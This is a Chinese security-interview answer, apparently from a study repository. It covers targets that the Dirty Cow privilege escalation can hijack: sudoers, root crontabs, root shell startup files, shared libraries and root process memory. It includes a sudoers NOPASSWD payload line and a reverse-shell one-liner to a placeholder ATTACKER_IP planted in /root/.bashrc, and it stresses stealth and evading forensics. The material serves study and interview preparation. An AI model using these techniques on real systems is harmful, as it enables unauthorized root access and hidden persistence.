Files
Sec-Interview/Chapter15/15-33.md
T
2025-10-13 01:33:07 +08:00

54 lines
3.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### 除了修改 `/etc/passwd` 外还可以利用 Dirty Cow 漏洞劫持哪些关键文件或内存区域来实现提权
**一、关键文件劫持**
直接修改 `/etc/passwd` 可能会留下明显的日志和入侵痕迹。以下这些文件提供更隐蔽的提权路径:
**1. 劫持 `sudoers` 文件或其配置片段**
- **目标:** `/etc/sudoers``/etc/sudoers.d/*` 下的任意配置文件
- **攻击原理:** 利用 Dirty Cow 写入一行配置,允许当前低权限用户无需密码即可执行特定命令或所有命令 (`NOPASSWD: ALL`)
- **Payload 示例:** 写入一行 `user ALL=(ALL) NOPASSWD: ALL`,其中 `user` 是我们当前的低权限用户名
- **优点:** 相比于修改 `passwd` 文件,劫持 `sudoers` **无需重启**或等待登录,权限提升是**即时**的
**2. 劫持 Root 用户的定时任务 (Crontabs)**
- **目标:** `/var/spool/cron/crontabs/root` (在某些发行版上,如 Debian/Ubuntu) 或其他系统级别的 Crontab 文件(如 `/etc/crontab`
- **攻击原理:** 利用 Dirty Cow 写入一行定时任务,该任务将在下一次执行时以 Root 权限运行我们的 Payload(例如,反弹 Shell 或创建 SUID 文件)
- **优点:** 提供**持久性**和**间接提权**。攻击载荷隐藏在定时任务中,不直接修改系统核心凭证文件
**3. 劫持 Shell 启动文件(持久化)**
- **目标:** Root 用户的 Shell 启动文件,如 `/root/.bashrc``/root/.profile`
- **攻击原理:** 在这些文件中追加我们的恶意命令。当 Root 用户下一次登录并启动 Shell 时,我们的代码将被执行
- **Payload 示例:** 写入一行 `bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1` (反弹 Root Shell)
- **优点:** 实现了 **持久性**,利用的是用户正常的登录流程
****
**二、利用动态链接库 (Shared Libraries) 劫持**
这是更高级和更隐蔽的利用方法,旨在通过系统级的动态链接机制来触发 Root 权限代码执行。
**1. 劫持系统关键库函数**
- **目标:** **系统关键的动态链接库**,如 `/lib/x86_64-linux-gnu/libc.so.6``/lib/ld-linux.so.2`
- **攻击原理:** 这是极其危险的利用。利用 Dirty Cow 覆盖这些库文件中**极小的、不常用的函数代码**,用我们的 Shellcode 替换它们。当任何以 Root 权限运行的程序调用到这个被劫持的函数时,我们的 Shellcode 就会以 Root 权限执行
- **优点:** 隐蔽性极高,因为只修改了库中的极小片段,而非整个文件
**2. 劫持 SUID/SGID 程序的依赖库**
- **目标:** 任何以 Root 权限运行的 **SUID/SGID** 程序(如 `/bin/ping`, `/usr/bin/passwd` 等)所依赖的动态链接库
- **攻击原理:** 利用 Dirty Cow 劫持这些 SUID 程序在运行时会加载的一个依赖库文件(例如,`libnss_files.so.2`)。在库中写入恶意代码,当 SUID 程序被执行时,它会加载并执行我们的恶意代码,从而获得 SUID 程序的权限(通常是 Root)
****
**三、内存区域劫持:即时提权**
Dirty Cow 的一个独特之处在于其对**内存区域**的劫持能力,这提供了即时提权的可能性
**1. 劫持 Root 进程的内存空间**
- **目标:** 任何当前正在运行的 **Root 进程**(例如,`sshd``crond``systemd`
- **攻击原理:** 尽管不能直接对整个进程内存进行操作,但可以通过读取该进程的 `/proc/[PID]/maps` 文件,找到其 **Text Segment (代码段)** 中映射的内存页。利用 Dirty Cow,覆盖该进程代码段中的某个不常用指令,用 `JMP` 或 Shellcode 替换,从而劫持进程的执行流程
- **优点:** 提权是**即时**的,且不涉及任何文件的磁盘写入,**取证难度极高**